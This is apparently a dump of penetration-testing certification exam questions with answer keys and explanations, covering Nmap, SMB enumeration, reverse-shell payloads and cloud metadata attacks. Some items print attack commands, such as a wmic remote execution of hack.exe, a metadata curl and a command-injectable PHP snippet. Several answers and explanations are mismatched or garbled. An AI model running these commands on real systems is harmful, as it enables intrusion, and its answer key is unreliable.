Testing with proof-of-concept code from an exploit database is the best method to support validation of the possible findings, as it will demonstrate whether the CVEs are actually exploitable on the target VoIP call manager. Proof-of-concept code is a piece of software or script that shows how an attacker can exploit a vulnerability in a system or application. An exploit database is a repository of publicly available exploits, such as Exploit Database or Metasploit.

NEW QUESTION 260

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. nmap -T3 192.168.0.1
- B. nmap -P0 192.168.0.1
- C. nmap -T0 192.168.0.1
- D. nmap -A 192.168.0.1

Answer: C

NEW QUESTION 264

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 267

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

Answer: A

Explanation:

The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating

users about phishing prevention techniques.

NEW QUESTION 269

Which of the following factors would a penetration tester most likely consider when testing at a location?

- A. Determine if visas are required.
- B. Ensure all testers can access all sites.
- C. Verify the tools being used are legal for use at all sites.
- D. Establish the time of the day when a test can occur.

Answer: D

Explanation:

One of the factors that a penetration tester would most likely consider when testing at a location is to establish the time of day when a test can occur. This factor can affect the scope, duration, and impact of the test, as well as the availability and response of the client and the testers. Testing at different times of day can have different advantages and disadvantages, such as testing during business hours to simulate realistic scenarios and traffic patterns, or testing after hours to reduce disruption and interference. Testing at different locations may also require adjusting for different time zones and daylight saving times. Establishing the time of day when a test can occur can help plan and coordinate the test effectively and avoid confusion or conflict with the client or other parties involved in the test. The other options are not factors that a penetration tester would most likely consider when testing at a location.

NEW QUESTION 273

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse_tcp
- B. windows/x64/meterpreter/reverse_http
- C. windows/x64/shell_reverse_tcp
- D. windows/x64/powershell_reverse_tcp
- E. windows/x64/meterpreter/reverse_https

Answer: B

Explanation:

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

NEW QUESTION 278

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 282

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports
```

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 6.6.1p1
53/tcp	open	domain	dnsmasq 2.72
80/tcp	open	http	lighttpd
443/tcp	open	ssl/http	httpd

```
Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 287

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

Answer: A

Explanation:

S/MIME stands for Secure/Multipurpose Internet Mail Extensions and is a standard for encrypting and signing email messages. It uses public key cryptography to ensure the confidentiality, integrity, and authenticity of email communications. FTPS is a protocol for transferring files securely over SSL/TLS, but it is not used for emailing. DNSSEC is a protocol for securing DNS records, but it does not protect email content. AS2 is a protocol for exchanging business documents over HTTP/S, but it is not used for emailing.

NEW QUESTION 289

A penetration tester runs the following command on a system: `find / -user root -perm -4000 -print 2>/dev/null`
Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:

the `2>/dev/null` is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session. The tester is trying to find files with the SUID bit set on the system. The SUID (set user ID) bit is a special permission that allows a file to be executed with the privileges of the file owner, regardless of who runs it. This can be used to perform privileged operations or access restricted resources. A penetration tester can use the find command with the `-user` and `-perm` options to search for files owned by a specific user (such as root) and having a specific permission (such as 4000, which indicates the SUID bit is set).

NEW QUESTION 290

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

Answer: B

Explanation:

A clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website. The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.

* A. Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.

* C. Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.

* D. Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim's system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.

References:

> 1: OWASP Foundation, "Clickjacking", <https://owasp.org/www-community/attacks/Clickjacking>

> 2: PortSwigger, "What is clickjacking? Tutorial & Examples",
<https://portswigger.net/web-security/clickjacking>

> 4: Akto, "Clickjacking: Understanding vulnerability, attacks and prevention", <https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-prevention>

NEW QUESTION 292

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

Answer: B

Explanation:

<https://hackertarget.com/nikto-website-scanner/>

NEW QUESTION 295

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

Answer: A

NEW QUESTION 298

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

- A. Cost of the assessment
- B. Report distribution
- C. Testing restrictions
- D. Liability

Answer: B

NEW QUESTION 300

After compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:

```
curl http://169.254.169.254/latest
```

Which of the following attacks is the penetration tester most likely trying to perform?

- A. Metadata service attack
- B. Container escape techniques
- C. Credential harvesting
- D. Resource exhaustion

Answer: A

Explanation:

The penetration tester is most likely trying to perform a metadata service attack, which is an attack that exploits a vulnerability in the metadata service of a cloud provider. The metadata service is a service that provides information about the cloud instance, such as its IP address, hostname, credentials, user data, or role permissions. The metadata service can be accessed from within the cloud instance by using a special IP address, such as 169.254.169.254 for AWS, Azure, and GCP. The commands that the penetration tester runs are curl commands, which are used to transfer data from or to a server. The curl commands are requesting data from the metadata service IP address with different paths, such as /latest/meta-data/iam/security-credentials/ and /latest/user-data/. These paths can reveal sensitive information about the cloud instance, such as its IAM role credentials or user data scripts. The penetration tester may use this information to escalate privileges, access other resources, or perform other actions on the cloud environment. The other options are not likely attacks that the penetration tester is trying to perform.

NEW QUESTION 301

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {  
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);  
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

Explanation:

Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server. Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts. cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the "item" variable.

NEW QUESTION 303

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

Answer: BE

Explanation:

A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 307

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

Answer: CD

NEW QUESTION 312

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

- A. A handheld RF spectrum analyzer
- B. A mask and personal protective equipment
- C. Caution tape for marking off insecure areas
- D. A dedicated point of contact at the client
- E. The paperwork documenting the engagement
- F. Knowledge of the building's normal business hours

Answer: DE

Explanation:

Always carry the contact information and any documents stating that you are approved to do this.

NEW QUESTION 316

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 317

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

- A. Prohibiting exploitation in the production environment
- B. Requiring all testers to review the scoping document carefully
- C. Never assessing the production networks
- D. Prohibiting testers from joining the team during the assessment

Answer: B

Explanation:

The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test. Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client's request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.

NEW QUESTION 319

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite

D. Ethercap

Answer: B

NEW QUESTION 321

After running the enum4linux.pl command, a penetration tester received the following output:

```
=====
|   Enumerating Workgroup/Domain on 192.168.100.56   |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
|   Session Check on 192.168.100.56   |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
|   Getting domain SID for 192.168.100.56   |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
|   Share Enumeration on 192.168.100.56   |
=====
      Sharename Type Comment
      -----
      print$ Disk Printer Drivers
      web Disk File Server
      IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

Answer: D

Explanation:

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

NEW QUESTION 322

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 326

An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency)
Not shown: 96 closed ports
Port      State  Service
22/tcp    open  ssh
23/tcp    open  telnet
60/tcp    open  http
443/tcp   open  https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

- A. Encrypted passwords
- B. System-hardening techniques
- C. Multifactor authentication
- D. Network segmentation

Answer: B

NEW QUESTION 330

A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?

- A. Searching for code repositories associated with a developer who previously worked for the target company code repositories associated with the
- B. Searching for code repositories target company's organization
- C. Searching for code repositories associated with the target company's organization
- D. Searching for code repositories associated with a developer who previously worked for the target company

Answer: B

Explanation:

Code repositories are online platforms that store and manage source code and other files related to software development projects. Code repositories can contain useful information for additional testing, such as application names, versions, features, functions, vulnerabilities, dependencies, credentials, comments, or documentation. Searching for code repositories associated with the target company's organization would most likely produce useful information for additional testing, as it would reveal the software projects that the target company is working on or using, and potentially expose some weaknesses or flaws that can be exploited. Code repositories can be searched by using tools such as GitHub, GitLab, Bitbucket, or SourceForge1. The other options are not as likely to produce useful information for additional testing, as they are not directly related to the target company's software development activities. Searching for code repositories associated with a developer who previously worked for the target company may not yield any relevant or current information, as the developer may have deleted, moved, or updated their code repositories after leaving the company.

Searching for code repositories associated with the target company's competitors or customers may not yield any useful or accessible information, as they may have different or unrelated software projects, or they may have restricted or protected their code repositories from public view.

NEW QUESTION 332

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

Answer: B

Explanation:

Network segmentation is the practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, security level, or access control. Network segmentation can enhance the security of a network by isolating sensitive or critical systems from less secure or untrusted systems, reducing the attack surface, limiting the spread of malware or intrusions, and enforcing granular policies and rules for each segment. To be PCI compliant, which is a set of standards for protecting payment card data, the company should have implemented network segmentation to separate the servers that perform financial transactions from other parts of the network that may be less secure or more exposed to threats. The other options are not specific requirements for PCI compliance, although they may be good security practices in general.

NEW QUESTION 336

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 337

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN

- C. EXPN and TURN
- D. RCPT TO and VRFY

Answer: A

Explanation:

The VRFY and EXPN commands can be used to enumerate user accounts on an SMTP server, as they are used to verify the existence of users or mailing lists. VRFY (verify) asks the server to confirm that a given user name or address is valid. EXPN (expand) asks the server to expand a mailing list into its individual members. These commands can be used by a penetration tester to identify valid user names or e-mail addresses on the target SMTP server.

NEW QUESTION 341

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

Answer: C

NEW QUESTION 346

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

- A. NIST SP 800-53
- B. OWASP Top 10
- C. MITRE ATT&CK framework
- D. PTES technical guidelines

Answer: C

NEW QUESTION 348

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

Explanation:

Credential harvesting is a type of attack that aims to collect usernames and passwords from unsuspecting users by tricking them into entering their credentials on a fake or spoofed website. Credential harvesting can be done by using phishing emails that lure users to click on malicious links or attachments that redirect them to the fake website. The fake website may look identical or similar to the legitimate one, but it will capture and store the user's credentials for later use by the attacker. In this case, the penetration tester set up a fake cloud mail login page and sent phishing emails to all company employees to harvest their credentials.

NEW QUESTION 352

A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)

- A. Remove the logs from the server.
- B. Restore the server backup.
- C. Disable the running services.
- D. Remove any tools or scripts that were installed.
- E. Delete any created credentials.
- F. Reboot the target server.

Answer: DE

NEW QUESTION 356

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